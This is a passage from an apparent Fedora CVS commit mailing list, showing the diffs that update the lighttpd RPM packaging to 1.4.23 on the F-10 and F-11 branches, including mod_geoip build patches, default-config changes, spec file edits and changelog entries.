--- lighttpd-1.4.23.orig/configure.ac	2009-06-07 21:13:05.000000000 +0200
+++ lighttpd-1.4.23/configure.ac	2009-09-03 22:59:22.781056867 +0200
@@ -571,7 +571,7 @@ AC_OUTPUT
 do_build="mod_cgi mod_fastcgi mod_extforward mod_proxy mod_evhost mod_simple_vhost mod_access mod_alias mod_setenv mod_usertrack mod_auth mod_status mod_accesslog"
 do_build="$do_build mod_rrdtool mod_secdownload mod_expire mod_compress mod_dirlisting mod_indexfile mod_userdir mod_webdav mod_staticfile mod_scgi mod_flv_streaming"
 
-plugins="mod_rewrite mod_redirect mod_ssi mod_trigger_b4_dl"
+plugins="mod_rewrite mod_redirect mod_ssi mod_trigger_b4_dl mod_geoip"
 features="regex-conditionals"
 if test ! "x$PCRE_LIB" = x; then
 	do_build="$do_build $plugins"
diff -Naupr lighttpd-1.4.23.orig/src/Makefile.am lighttpd-1.4.23/src/Makefile.am
--- lighttpd-1.4.23.orig/src/Makefile.am	2009-06-16 15:45:42.000000000 +0200
+++ lighttpd-1.4.23/src/Makefile.am	2009-09-03 22:46:47.527052167 +0200
@@ -264,6 +264,11 @@ mod_accesslog_la_SOURCES = mod_accesslog
 mod_accesslog_la_LDFLAGS = -module -export-dynamic -avoid-version -no-undefined
 mod_accesslog_la_LIBADD = $(common_libadd)
 
+lib_LTLIBRARIES += mod_geoip.la
+mod_geoip_la_SOURCES = mod_geoip.c
+mod_geoip_la_LDFLAGS = -module -export-dynamic -avoid-version -no-undefined
+mod_geoip_la_LIBADD = $(common_libadd) -lGeoIP
+
 
 hdr = server.h buffer.h network.h log.h keyvalue.h \
       response.h request.h fastcgi.h chunk.h \
diff -Naupr lighttpd-1.4.23.orig/src/Makefile.in lighttpd-1.4.23/src/Makefile.in
--- lighttpd-1.4.23.orig/src/Makefile.in	2009-06-19 21:19:22.000000000 +0200
+++ lighttpd-1.4.23/src/Makefile.in	2009-09-03 23:02:32.905052466 +0200
@@ -124,6 +124,12 @@ mod_accesslog_la_OBJECTS = $(am_mod_acce
 mod_accesslog_la_LINK = $(LIBTOOL) --tag=CC $(AM_LIBTOOLFLAGS) \
 	$(LIBTOOLFLAGS) --mode=link $(CCLD) $(AM_CFLAGS) $(CFLAGS) \
 	$(mod_accesslog_la_LDFLAGS) $(LDFLAGS) -o $@
+mod_geoip_la_DEPENDENCIES = $(am__DEPENDENCIES_2)
+am_mod_geoip_la_OBJECTS = mod_geoip.lo
+mod_geoip_la_OBJECTS = $(am_mod_geoip_la_OBJECTS)
+mod_geoip_la_LINK = $(LIBTOOL) --tag=CC $(AM_LIBTOOLFLAGS) \
+	$(LIBTOOLFLAGS) --mode=link $(CCLD) $(AM_CFLAGS) $(CFLAGS) \
+	$(mod_geoip_la_LDFLAGS) $(LDFLAGS) -o $@
 mod_alias_la_DEPENDENCIES = $(am__DEPENDENCIES_2)
 am_mod_alias_la_OBJECTS = mod_alias.lo
 mod_alias_la_OBJECTS = $(am_mod_alias_la_OBJECTS)
@@ -406,7 +412,8 @@ SOURCES = $(liblightcomp_la_SOURCES) $(m
 	$(mod_status_la_SOURCES) $(mod_trigger_b4_dl_la_SOURCES) \
 	$(mod_userdir_la_SOURCES) $(mod_usertrack_la_SOURCES) \
 	$(mod_webdav_la_SOURCES) $(lemon_SOURCES) $(lighttpd_SOURCES) \
-	$(lighttpd_angel_SOURCES) $(proc_open_SOURCES)
+	$(lighttpd_angel_SOURCES) $(proc_open_SOURCES) \
+	$(mod_geoip_la_SOURCES)
 DIST_SOURCES = $(am__liblightcomp_la_SOURCES_DIST) \
 	$(mod_access_la_SOURCES) $(mod_accesslog_la_SOURCES) \
 	$(mod_alias_la_SOURCES) $(mod_auth_la_SOURCES) \
@@ -425,7 +432,8 @@ DIST_SOURCES = $(am__liblightcomp_la_SOU
 	$(mod_trigger_b4_dl_la_SOURCES) $(mod_userdir_la_SOURCES) \
 	$(mod_usertrack_la_SOURCES) $(mod_webdav_la_SOURCES) \
 	$(lemon_SOURCES) $(am__lighttpd_SOURCES_DIST) \
-	$(lighttpd_angel_SOURCES) $(proc_open_SOURCES)
+	$(lighttpd_angel_SOURCES) $(proc_open_SOURCES) \
+	$(mod_geoip_la_SOURCES)
 HEADERS = $(noinst_HEADERS)
 ETAGS = etags
 CTAGS = ctags
@@ -612,7 +620,7 @@ lib_LTLIBRARIES = $(am__append_1) mod_fl
 	mod_ssi.la mod_secdownload.la mod_expire.la mod_evhost.la \
 	mod_simple_vhost.la mod_fastcgi.la mod_extforward.la \
 	mod_access.la mod_compress.la mod_auth.la mod_rewrite.la \
-	mod_redirect.la mod_status.la mod_accesslog.la
+	mod_redirect.la mod_status.la mod_accesslog.la mod_geoip.la
 @NO_RDYNAMIC_TRUE at liblightcomp_la_SOURCES = $(common_src)
 @NO_RDYNAMIC_TRUE at liblightcomp_la_CFLAGS = $(AM_CFLAGS)
 @NO_RDYNAMIC_TRUE at liblightcomp_la_LDFLAGS = -avoid-version -no-undefined
@@ -719,6 +727,9 @@ mod_status_la_LIBADD = $(common_libadd)
 mod_accesslog_la_SOURCES = mod_accesslog.c
 mod_accesslog_la_LDFLAGS = -module -export-dynamic -avoid-version -no-undefined
 mod_accesslog_la_LIBADD = $(common_libadd)
+mod_geoip_la_SOURCES = mod_geoip.c
+mod_geoip_la_LDFLAGS = -module -export-dynamic -avoid-version -no-undefined
+mod_geoip_la_LIBADD = $(common_libadd) -lGeoIP
 hdr = server.h buffer.h network.h log.h keyvalue.h \
       response.h request.h fastcgi.h chunk.h \
       settings.h http_chunk.h http_auth_digest.h \
@@ -822,6 +833,8 @@ mod_access.la: $(mod_access_la_OBJECTS) 
 	$(mod_access_la_LINK) -rpath $(libdir) $(mod_access_la_OBJECTS) $(mod_access_la_LIBADD) $(LIBS)
 mod_accesslog.la: $(mod_accesslog_la_OBJECTS) $(mod_accesslog_la_DEPENDENCIES) 
 	$(mod_accesslog_la_LINK) -rpath $(libdir) $(mod_accesslog_la_OBJECTS) $(mod_accesslog_la_LIBADD) $(LIBS)
+mod_geoip.la: $(mod_geoip_la_OBJECTS) $(mod_geoip_la_DEPENDENCIES) 
+	$(mod_geoip_la_LINK) -rpath $(libdir) $(mod_geoip_la_OBJECTS) $(mod_geoip_la_LIBADD) $(LIBS)
 mod_alias.la: $(mod_alias_la_OBJECTS) $(mod_alias_la_DEPENDENCIES) 
 	$(mod_alias_la_LINK) -rpath $(libdir) $(mod_alias_la_OBJECTS) $(mod_alias_la_LIBADD) $(LIBS)
 mod_auth.la: $(mod_auth_la_OBJECTS) $(mod_auth_la_DEPENDENCIES) 
@@ -1012,6 +1025,7 @@ distclean-compile:
 @AMDEP_TRUE@@am__include@ @am__quote at ./$(DEPDIR)/md5.Po at am__quote@
 @AMDEP_TRUE@@am__include@ @am__quote at ./$(DEPDIR)/mod_access.Plo at am__quote@
 @AMDEP_TRUE@@am__include@ @am__quote at ./$(DEPDIR)/mod_accesslog.Plo at am__quote@
+ at AMDEP_TRUE@@am__include@ @am__quote at ./$(DEPDIR)/mod_geoip.Plo at am__quote@
 @AMDEP_TRUE@@am__include@ @am__quote at ./$(DEPDIR)/mod_alias.Plo at am__quote@
 @AMDEP_TRUE@@am__include@ @am__quote at ./$(DEPDIR)/mod_auth.Plo at am__quote@
 @AMDEP_TRUE@@am__include@ @am__quote at ./$(DEPDIR)/mod_cgi.Plo at am__quote@


Index: .cvsignore
===================================================================
RCS file: /cvs/extras/rpms/lighttpd/F-10/.cvsignore,v
retrieving revision 1.26
retrieving revision 1.27
diff -u -p -r1.26 -r1.27
--- .cvsignore	4 Apr 2009 11:21:38 -0000	1.26
+++ .cvsignore	6 Oct 2009 19:10:31 -0000	1.27
@@ -1 +1 @@
-lighttpd-1.4.22.tar.bz2
+lighttpd-1.4.23.tar.bz2


Index: lighttpd.spec
===================================================================
RCS file: /cvs/extras/rpms/lighttpd/F-10/lighttpd.spec,v
retrieving revision 1.51
retrieving revision 1.52
diff -u -p -r1.51 -r1.52
--- lighttpd.spec	4 Apr 2009 11:21:38 -0000	1.51
+++ lighttpd.spec	6 Oct 2009 19:10:32 -0000	1.52
@@ -5,14 +5,15 @@
 
 Summary: Lightning fast webserver with light system requirements
 Name: lighttpd
-Version: 1.4.22
-Release: 2%{?dist}
+Version: 1.4.23
+Release: 1%{?dist}
 License: BSD
 Group: System Environment/Daemons
 URL: http://www.lighttpd.net/
 Source0: http://www.lighttpd.net/download/lighttpd-%{version}.tar.bz2
 Source1: lighttpd.logrotate
 Source2: php.d-lighttpd.ini
+Source3: lighttpd.init
 Source10: index.html
 Source11: http://www.lighttpd.net/favicon.ico
 Source12: http://www.lighttpd.net/light_button.png
@@ -20,9 +21,8 @@ Source13: http://www.lighttpd.net/light_
 Source14: lighttpd-empty.png
 Source100: lighttpd-mod_geoip.c
 Source101: lighttpd-mod_geoip.txt
-Patch0: lighttpd-1.4.20-defaultconf.patch
-Patch1: lighttpd-1.4.18-mod_geoip.patch
-Patch2: lighttpd-1.4.20-initinfo.patch
+Patch0: lighttpd-1.4.23-defaultconf.patch
+Patch1: lighttpd-1.4.23-mod_geoip.patch
 BuildRoot: %{_tmppath}/%{name}-%{version}-%{release}-root
 # For the target poweredby.png image (skip requirement + provide image on RHEL)
 %if 0%{!?rhel:1}
@@ -93,20 +93,10 @@ BuildRequires: mysql-devel
 Virtual host module for lighttpd that uses a MySQL database.
 
 
-%package -n spawn-fcgi
-Summary: Simple program for spawning FastCGI processes
-Group: System Environment/Daemons
-
-%description -n spawn-fcgi
-This package contains the spawn-fcgi program used for spawning FastCGI
-processes, which can be local or remote.
-
-
 %prep
 %setup -q
 %patch0 -p1 -b .defaultconf
 %patch1 -p1 -b .mod_geoip
-%patch2 -p1 -b .initinfo
 %{__install} -p -m 0644 %{SOURCE100} src/mod_geoip.c
 %{__install} -p -m 0644 %{SOURCE101} mod_geoip.txt
 
@@ -130,12 +120,6 @@ processes, which can be local or remote.
 %{__rm} -rf %{buildroot}
 %{__make} install DESTDIR=%{buildroot}
 
-# Install included init script and sysconfig entry
-%{__install} -D -p -m 0755 doc/rc.lighttpd.redhat \
-    %{buildroot}%{_sysconfdir}/rc.d/init.d/lighttpd
-%{__install} -D -p -m 0644 doc/sysconfig.lighttpd \
-    %{buildroot}%{_sysconfdir}/sysconfig/lighttpd
-
 # Install (*patched above*) sample config file
 %{__install} -D -p -m 0640 doc/lighttpd.conf \
     %{buildroot}%{_sysconfdir}/lighttpd/lighttpd.conf
@@ -149,6 +133,10 @@ processes, which can be local or remote.
 %{__install} -D -p -m 0644 %{SOURCE2} \
     %{buildroot}%{_sysconfdir}/php.d/lighttpd.ini
 
+# Install our own init script (the included one is old style)
+%{__install} -D -p -m 0755 %{SOURCE3} \
+    %{buildroot}%{_sysconfdir}/rc.d/init.d/lighttpd
+
 # Install our own default web page and images
 %{__mkdir_p} %{buildroot}%{webroot}
 %{__install} -p -m 0644 %{SOURCE10} %{SOURCE11} %{SOURCE12} %{SOURCE13} \
@@ -200,7 +188,6 @@ fi
 %dir %{_sysconfdir}/lighttpd/conf.d/
 %config(noreplace) %{_sysconfdir}/lighttpd/lighttpd.conf
 %config(noreplace) %{_sysconfdir}/logrotate.d/lighttpd
-%config(noreplace) %{_sysconfdir}/sysconfig/lighttpd
 %{_sysconfdir}/rc.d/init.d/lighttpd
 %{_sbindir}/lighttpd
 %{_sbindir}/lighttpd-angel
@@ -209,7 +196,7 @@ fi
 %exclude %{_libdir}/lighttpd/mod_fastcgi.so
 %exclude %{_libdir}/lighttpd/mod_geoip.so
 %exclude %{_libdir}/lighttpd/mod_mysql_vhost.so
-%{_mandir}/man1/lighttpd.1*
+%{_mandir}/man8/lighttpd.8*
 %attr(0750, lighttpd, lighttpd) %{_var}/log/lighttpd/
 %attr(0750, lighttpd, lighttpd) %{_var}/run/lighttpd/
 %dir %{webroot}/
@@ -237,12 +224,25 @@ fi
 %dir %{_libdir}/lighttpd/
 %{_libdir}/lighttpd/mod_mysql_vhost.so
 
-%files -n spawn-fcgi
-%defattr(-,root,root,-)
-%{_bindir}/spawn-fcgi
-%{_mandir}/man1/spawn-fcgi.1*
 
 %changelog
+* Thu Sep  3 2009 Matthias Saou <http://freshrpms.net/> 1.4.23-1
+- Update to 1.4.23.
+- Update defaultconf and mod_geoip patches.
+- Remove no longer shipped spawn-fcgi, it's a separate source package now.
+- Remove unused patch to the init script.
+
+* Fri Aug 21 2009 Tomas Mraz <tmraz at redhat.com> - 1.4.22-5
+- rebuilt with new openssl
+
+* Sat Jul 25 2009 Fedora Release Engineering <rel-eng at lists.fedoraproject.org> - 1.4.22-4
+- Rebuilt for https://fedoraproject.org/wiki/Fedora_12_Mass_Rebuild
+
+* Sun Apr 12 2009 Matthias Saou <http://freshrpms.net/> 1.4.22-3
+- Update init script to new style.
+- No longer include a sysconfig file, though one can be set to override the
+  default configuration file location.
+
 * Mon Mar 30 2009 Matthias Saou <http://freshrpms.net/> 1.4.22-2
 - Update to 1.4.22.
 - Add missing defattr for the spawn-fcgi package.


Index: sources
===================================================================
RCS file: /cvs/extras/rpms/lighttpd/F-10/sources,v
retrieving revision 1.26
retrieving revision 1.27
diff -u -p -r1.26 -r1.27
--- sources	4 Apr 2009 11:21:38 -0000	1.26
+++ sources	6 Oct 2009 19:10:32 -0000	1.27
@@ -1 +1 @@
-ed4ca3897eadf419c893b03fee53c982  lighttpd-1.4.22.tar.bz2
+0ab6bb7b17bf0f515ce7dce68e5e215a  lighttpd-1.4.23.tar.bz2


--- lighttpd-1.4.18-mod_geoip.patch DELETED ---


--- lighttpd-1.4.20-defaultconf.patch DELETED ---


--- lighttpd-1.4.20-initinfo.patch DELETED ---



From thias at fedoraproject.org  Tue Oct  6 19:10:32 2009
From: thias at fedoraproject.org (Matthias Saou)
Date: Tue,  6 Oct 2009 19:10:32 +0000 (UTC)
Subject: rpms/lighttpd/F-11 lighttpd-1.4.23-defaultconf.patch, NONE,
	1.1 lighttpd-1.4.23-mod_geoip.patch, NONE, 1.1 .cvsignore, 1.27,
	1.28 lighttpd.spec, 1.58, 1.59 sources, 1.27,
	1.28 lighttpd-1.4.18-mod_geoip.patch, 1.1,
	NONE lighttpd-1.4.20-defaultconf.patch, 1.1,
	NONE lighttpd-1.4.20-initinfo.patch, 1.1, NONE
Message-ID: <20091006191032.A602211C02A2@cvs1.fedora.phx.redhat.com>

Author: thias

Update of /cvs/extras/rpms/lighttpd/F-11
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv18688/F-11

Modified Files:
	.cvsignore lighttpd.spec sources 
Added Files:
	lighttpd-1.4.23-defaultconf.patch 
	lighttpd-1.4.23-mod_geoip.patch 
Removed Files:
	lighttpd-1.4.18-mod_geoip.patch 
	lighttpd-1.4.20-defaultconf.patch 
	lighttpd-1.4.20-initinfo.patch 
Log Message:
Update all current branches to the latest 1.4.23.


lighttpd-1.4.23-defaultconf.patch:
 lighttpd.conf |   15 ++++++++++-----
 1 file changed, 10 insertions(+), 5 deletions(-)

--- NEW FILE lighttpd-1.4.23-defaultconf.patch ---
diff -Naupr lighttpd-1.4.23.orig/doc/lighttpd.conf lighttpd-1.4.23/doc/lighttpd.conf
--- lighttpd-1.4.23.orig/doc/lighttpd.conf	2009-04-09 22:02:00.000000000 +0200
+++ lighttpd-1.4.23/doc/lighttpd.conf	2009-09-03 22:41:33.139052014 +0200
@@ -36,7 +36,7 @@ server.modules              = (
 
 ## A static document-root. For virtual hosting take a look at the
 ## mod_simple_vhost module.
-server.document-root        = "/srv/www/htdocs/"
+server.document-root        = "/var/www/lighttpd/"
 
 ## where to send error-messages to
 server.errorlog             = "/var/log/lighttpd/error.log"
@@ -50,6 +50,7 @@ index-file.names            = ( "index.p
 
 # mimetype mapping
 mimetype.assign             = (
+  ".rpm"          =>      "application/x-rpm",
   ".pdf"          =>      "application/pdf",
   ".sig"          =>      "application/pgp-signature",
   ".spl"          =>      "application/futuresplash",
@@ -147,7 +148,7 @@ static-file.exclude-extensions = ( ".php
 #server.error-handler-404   = "/error-handler.php"
 
 ## to help the rc.scripts
-#server.pid-file            = "/var/run/lighttpd.pid"
+server.pid-file            = "/var/run/lighttpd.pid"
 
 
 ###### virtual hosts
@@ -188,10 +189,10 @@ static-file.exclude-extensions = ( ".php
 #server.chroot              = "/"
 
 ## change uid to <uid> (default: don't care)
-#server.username            = "wwwrun"
+server.username            = "lighttpd"
 
 ## change uid to <uid> (default: don't care)
-#server.groupname           = "wwwrun"
+server.groupname           = "lighttpd"
 
 #### compress module
 #compress.cache-dir         = "/var/cache/lighttpd/compress/"
@@ -215,7 +216,7 @@ static-file.exclude-extensions = ( ".php
 #                               ( "localhost" =>
 #                                 (
 #                                   "socket" => "/var/run/lighttpd/php-fastcgi.socket",
-#                                   "bin-path" => "/usr/local/bin/php-cgi"
+#                                   "bin-path" => "/usr/bin/php-cgi"
 #                                 )
 #                               )
 #                            )
@@ -320,3 +321,7 @@ static-file.exclude-extensions = ( ".php
 #include_shell "echo var.a=1"
 ## the above is same as:
 #var.a=1
+
+## include configuration snippets, usually provided by packages
+include_shell "find /etc/lighttpd/conf.d -maxdepth 1 -name '*.conf' -exec cat {} \;"
+

lighttpd-1.4.23-mod_geoip.patch:
 configure       |    2 +-
 configure.ac    |    2 +-
 src/Makefile.am |    5 +++++
 src/Makefile.in |   20 +++++++++++++++++---
 4 files changed, 24 insertions(+), 5 deletions(-)

--- NEW FILE lighttpd-1.4.23-mod_geoip.patch ---
diff -Naupr lighttpd-1.4.23.orig/configure lighttpd-1.4.23/configure
--- lighttpd-1.4.23.orig/configure	2009-06-07 21:26:07.000000000 +0200
+++ lighttpd-1.4.23/configure	2009-09-03 22:59:34.696051769 +0200
@@ -23235,7 +23235,7 @@ fi
 do_build="mod_cgi mod_fastcgi mod_extforward mod_proxy mod_evhost mod_simple_vhost mod_access mod_alias mod_setenv mod_usertrack mod_auth mod_status mod_accesslog"
 do_build="$do_build mod_rrdtool mod_secdownload mod_expire mod_compress mod_dirlisting mod_indexfile mod_userdir mod_webdav mod_staticfile mod_scgi mod_flv_streaming"
 
-plugins="mod_rewrite mod_redirect mod_ssi mod_trigger_b4_dl"
+plugins="mod_rewrite mod_redirect mod_ssi mod_trigger_b4_dl mod_geoip"
 features="regex-conditionals"
 if test ! "x$PCRE_LIB" = x; then
 	do_build="$do_build $plugins"
diff -Naupr lighttpd-1.4.23.orig/configure.ac lighttpd-1.4.23/configure.ac
--- lighttpd-1.4.23.orig/configure.ac	2009-06-07 21:13:05.000000000 +0200
+++ lighttpd-1.4.23/configure.ac	2009-09-03 22:59:22.781056867 +0200
@@ -571,7 +571,7 @@ AC_OUTPUT
 do_build="mod_cgi mod_fastcgi mod_extforward mod_proxy mod_evhost mod_simple_vhost mod_access mod_alias mod_setenv mod_usertrack mod_auth mod_status mod_accesslog"
 do_build="$do_build mod_rrdtool mod_secdownload mod_expire mod_compress mod_dirlisting mod_indexfile mod_userdir mod_webdav mod_staticfile mod_scgi mod_flv_streaming"
 
-plugins="mod_rewrite mod_redirect mod_ssi mod_trigger_b4_dl"
+plugins="mod_rewrite mod_redirect mod_ssi mod_trigger_b4_dl mod_geoip"
 features="regex-conditionals"
 if test ! "x$PCRE_LIB" = x; then
 	do_build="$do_build $plugins"
diff -Naupr lighttpd-1.4.23.orig/src/Makefile.am lighttpd-1.4.23/src/Makefile.am
--- lighttpd-1.4.23.orig/src/Makefile.am	2009-06-16 15:45:42.000000000 +0200
+++ lighttpd-1.4.23/src/Makefile.am	2009-09-03 22:46:47.527052167 +0200
@@ -264,6 +264,11 @@ mod_accesslog_la_SOURCES = mod_accesslog
 mod_accesslog_la_LDFLAGS = -module -export-dynamic -avoid-version -no-undefined
 mod_accesslog_la_LIBADD = $(common_libadd)
 
+lib_LTLIBRARIES += mod_geoip.la
+mod_geoip_la_SOURCES = mod_geoip.c
+mod_geoip_la_LDFLAGS = -module -export-dynamic -avoid-version -no-undefined
+mod_geoip_la_LIBADD = $(common_libadd) -lGeoIP
+
 
 hdr = server.h buffer.h network.h log.h keyvalue.h \
       response.h request.h fastcgi.h chunk.h \
diff -Naupr lighttpd-1.4.23.orig/src/Makefile.in lighttpd-1.4.23/src/Makefile.in
--- lighttpd-1.4.23.orig/src/Makefile.in	2009-06-19 21:19:22.000000000 +0200
+++ lighttpd-1.4.23/src/Makefile.in	2009-09-03 23:02:32.905052466 +0200
@@ -124,6 +124,12 @@ mod_accesslog_la_OBJECTS = $(am_mod_acce
 mod_accesslog_la_LINK = $(LIBTOOL) --tag=CC $(AM_LIBTOOLFLAGS) \
 	$(LIBTOOLFLAGS) --mode=link $(CCLD) $(AM_CFLAGS) $(CFLAGS) \
 	$(mod_accesslog_la_LDFLAGS) $(LDFLAGS) -o $@
+mod_geoip_la_DEPENDENCIES = $(am__DEPENDENCIES_2)
+am_mod_geoip_la_OBJECTS = mod_geoip.lo
+mod_geoip_la_OBJECTS = $(am_mod_geoip_la_OBJECTS)
+mod_geoip_la_LINK = $(LIBTOOL) --tag=CC $(AM_LIBTOOLFLAGS) \
+	$(LIBTOOLFLAGS) --mode=link $(CCLD) $(AM_CFLAGS) $(CFLAGS) \
+	$(mod_geoip_la_LDFLAGS) $(LDFLAGS) -o $@
 mod_alias_la_DEPENDENCIES = $(am__DEPENDENCIES_2)
 am_mod_alias_la_OBJECTS = mod_alias.lo
 mod_alias_la_OBJECTS = $(am_mod_alias_la_OBJECTS)
@@ -406,7 +412,8 @@ SOURCES = $(liblightcomp_la_SOURCES) $(m
 	$(mod_status_la_SOURCES) $(mod_trigger_b4_dl_la_SOURCES) \
 	$(mod_userdir_la_SOURCES) $(mod_usertrack_la_SOURCES) \
 	$(mod_webdav_la_SOURCES) $(lemon_SOURCES) $(lighttpd_SOURCES) \
-	$(lighttpd_angel_SOURCES) $(proc_open_SOURCES)
+	$(lighttpd_angel_SOURCES) $(proc_open_SOURCES) \
+	$(mod_geoip_la_SOURCES)
 DIST_SOURCES = $(am__liblightcomp_la_SOURCES_DIST) \
 	$(mod_access_la_SOURCES) $(mod_accesslog_la_SOURCES) \
 	$(mod_alias_la_SOURCES) $(mod_auth_la_SOURCES) \
@@ -425,7 +432,8 @@ DIST_SOURCES = $(am__liblightcomp_la_SOU
 	$(mod_trigger_b4_dl_la_SOURCES) $(mod_userdir_la_SOURCES) \
 	$(mod_usertrack_la_SOURCES) $(mod_webdav_la_SOURCES) \
 	$(lemon_SOURCES) $(am__lighttpd_SOURCES_DIST) \
-	$(lighttpd_angel_SOURCES) $(proc_open_SOURCES)
+	$(lighttpd_angel_SOURCES) $(proc_open_SOURCES) \
+	$(mod_geoip_la_SOURCES)
 HEADERS = $(noinst_HEADERS)
 ETAGS = etags
 CTAGS = ctags
@@ -612,7 +620,7 @@ lib_LTLIBRARIES = $(am__append_1) mod_fl
 	mod_ssi.la mod_secdownload.la mod_expire.la mod_evhost.la \
 	mod_simple_vhost.la mod_fastcgi.la mod_extforward.la \
 	mod_access.la mod_compress.la mod_auth.la mod_rewrite.la \
-	mod_redirect.la mod_status.la mod_accesslog.la
+	mod_redirect.la mod_status.la mod_accesslog.la mod_geoip.la
 @NO_RDYNAMIC_TRUE at liblightcomp_la_SOURCES = $(common_src)
 @NO_RDYNAMIC_TRUE at liblightcomp_la_CFLAGS = $(AM_CFLAGS)
 @NO_RDYNAMIC_TRUE at liblightcomp_la_LDFLAGS = -avoid-version -no-undefined
@@ -719,6 +727,9 @@ mod_status_la_LIBADD = $(common_libadd)
 mod_accesslog_la_SOURCES = mod_accesslog.c
 mod_accesslog_la_LDFLAGS = -module -export-dynamic -avoid-version -no-undefined
 mod_accesslog_la_LIBADD = $(common_libadd)
+mod_geoip_la_SOURCES = mod_geoip.c
+mod_geoip_la_LDFLAGS = -module -export-dynamic -avoid-version -no-undefined
+mod_geoip_la_LIBADD = $(common_libadd) -lGeoIP
 hdr = server.h buffer.h network.h log.h keyvalue.h \
       response.h request.h fastcgi.h chunk.h \
       settings.h http_chunk.h http_auth_digest.h \
@@ -822,6 +833,8 @@ mod_access.la: $(mod_access_la_OBJECTS) 
 	$(mod_access_la_LINK) -rpath $(libdir) $(mod_access_la_OBJECTS) $(mod_access_la_LIBADD) $(LIBS)
 mod_accesslog.la: $(mod_accesslog_la_OBJECTS) $(mod_accesslog_la_DEPENDENCIES) 
 	$(mod_accesslog_la_LINK) -rpath $(libdir) $(mod_accesslog_la_OBJECTS) $(mod_accesslog_la_LIBADD) $(LIBS)
+mod_geoip.la: $(mod_geoip_la_OBJECTS) $(mod_geoip_la_DEPENDENCIES) 
+	$(mod_geoip_la_LINK) -rpath $(libdir) $(mod_geoip_la_OBJECTS) $(mod_geoip_la_LIBADD) $(LIBS)
 mod_alias.la: $(mod_alias_la_OBJECTS) $(mod_alias_la_DEPENDENCIES) 
 	$(mod_alias_la_LINK) -rpath $(libdir) $(mod_alias_la_OBJECTS) $(mod_alias_la_LIBADD) $(LIBS)
 mod_auth.la: $(mod_auth_la_OBJECTS) $(mod_auth_la_DEPENDENCIES) 
@@ -1012,6 +1025,7 @@ distclean-compile:
 @AMDEP_TRUE@@am__include@ @am__quote at ./$(DEPDIR)/md5.Po at am__quote@
 @AMDEP_TRUE@@am__include@ @am__quote at ./$(DEPDIR)/mod_access.Plo at am__quote@
 @AMDEP_TRUE@@am__include@ @am__quote at ./$(DEPDIR)/mod_accesslog.Plo at am__quote@
+ at AMDEP_TRUE@@am__include@ @am__quote at ./$(DEPDIR)/mod_geoip.Plo at am__quote@
 @AMDEP_TRUE@@am__include@ @am__quote at ./$(DEPDIR)/mod_alias.Plo at am__quote@
 @AMDEP_TRUE@@am__include@ @am__quote at ./$(DEPDIR)/mod_auth.Plo at am__quote@
 @AMDEP_TRUE@@am__include@ @am__quote at ./$(DEPDIR)/mod_cgi.Plo at am__quote@


Index: .cvsignore
===================================================================
RCS file: /cvs/extras/rpms/lighttpd/F-11/.cvsignore,v
retrieving revision 1.27
retrieving revision 1.28
diff -u -p -r1.27 -r1.28
--- .cvsignore	30 Mar 2009 09:02:38 -0000	1.27
+++ .cvsignore	6 Oct 2009 19:10:32 -0000	1.28
@@ -1 +1 @@
-lighttpd-1.4.22.tar.bz2
+lighttpd-1.4.23.tar.bz2


Index: lighttpd.spec
===================================================================
RCS file: /cvs/extras/rpms/lighttpd/F-11/lighttpd.spec,v
retrieving revision 1.58
retrieving revision 1.59
diff -u -p -r1.58 -r1.59
--- lighttpd.spec	12 Apr 2009 16:38:57 -0000	1.58
+++ lighttpd.spec	6 Oct 2009 19:10:32 -0000	1.59
@@ -5,8 +5,8 @@
 
 Summary: Lightning fast webserver with light system requirements
 Name: lighttpd
-Version: 1.4.22
-Release: 3%{?dist}
+Version: 1.4.23
+Release: 1%{?dist}
 License: BSD
 Group: System Environment/Daemons
 URL: http://www.lighttpd.net/
@@ -21,9 +21,8 @@ Source13: http://www.lighttpd.net/light_
 Source14: lighttpd-empty.png
 Source100: lighttpd-mod_geoip.c
 Source101: lighttpd-mod_geoip.txt
-Patch0: lighttpd-1.4.20-defaultconf.patch
-Patch1: lighttpd-1.4.18-mod_geoip.patch
-Patch2: lighttpd-1.4.20-initinfo.patch
+Patch0: lighttpd-1.4.23-defaultconf.patch
+Patch1: lighttpd-1.4.23-mod_geoip.patch
 BuildRoot: %{_tmppath}/%{name}-%{version}-%{release}-root
 # For the target poweredby.png image (skip requirement + provide image on RHEL)
 %if 0%{!?rhel:1}
@@ -94,20 +93,10 @@ BuildRequires: mysql-devel
 Virtual host module for lighttpd that uses a MySQL database.
 
 
-%package -n spawn-fcgi
-Summary: Simple program for spawning FastCGI processes
-Group: System Environment/Daemons
-
-%description -n spawn-fcgi
-This package contains the spawn-fcgi program used for spawning FastCGI
-processes, which can be local or remote.
-
-
 %prep
 %setup -q
 %patch0 -p1 -b .defaultconf
 %patch1 -p1 -b .mod_geoip
-%patch2 -p1 -b .initinfo
 %{__install} -p -m 0644 %{SOURCE100} src/mod_geoip.c
 %{__install} -p -m 0644 %{SOURCE101} mod_geoip.txt
 
@@ -207,7 +196,7 @@ fi
 %exclude %{_libdir}/lighttpd/mod_fastcgi.so
 %exclude %{_libdir}/lighttpd/mod_geoip.so
 %exclude %{_libdir}/lighttpd/mod_mysql_vhost.so
-%{_mandir}/man1/lighttpd.1*
+%{_mandir}/man8/lighttpd.8*
 %attr(0750, lighttpd, lighttpd) %{_var}/log/lighttpd/
 %attr(0750, lighttpd, lighttpd) %{_var}/run/lighttpd/
 %dir %{webroot}/
@@ -235,13 +224,20 @@ fi
 %dir %{_libdir}/lighttpd/
 %{_libdir}/lighttpd/mod_mysql_vhost.so
 
-%files -n spawn-fcgi
-%defattr(-,root,root,-)
-%{_bindir}/spawn-fcgi
-%{_mandir}/man1/spawn-fcgi.1*
-
 
 %changelog
+* Thu Sep  3 2009 Matthias Saou <http://freshrpms.net/> 1.4.23-1
+- Update to 1.4.23.
+- Update defaultconf and mod_geoip patches.
+- Remove no longer shipped spawn-fcgi, it's a separate source package now.
+- Remove unused patch to the init script.
+
+* Fri Aug 21 2009 Tomas Mraz <tmraz at redhat.com> - 1.4.22-5
+- rebuilt with new openssl
+
+* Sat Jul 25 2009 Fedora Release Engineering <rel-eng at lists.fedoraproject.org> - 1.4.22-4
+- Rebuilt for https://fedoraproject.org/wiki/Fedora_12_Mass_Rebuild
+
 * Sun Apr 12 2009 Matthias Saou <http://freshrpms.net/> 1.4.22-3
 - Update init script to new style.
 - No longer include a sysconfig file, though one can be set to override the


Index: sources
===================================================================
RCS file: /cvs/extras/rpms/lighttpd/F-11/sources,v
retrieving revision 1.27
retrieving revision 1.28
diff -u -p -r1.27 -r1.28
--- sources	30 Mar 2009 09:02:38 -0000	1.27
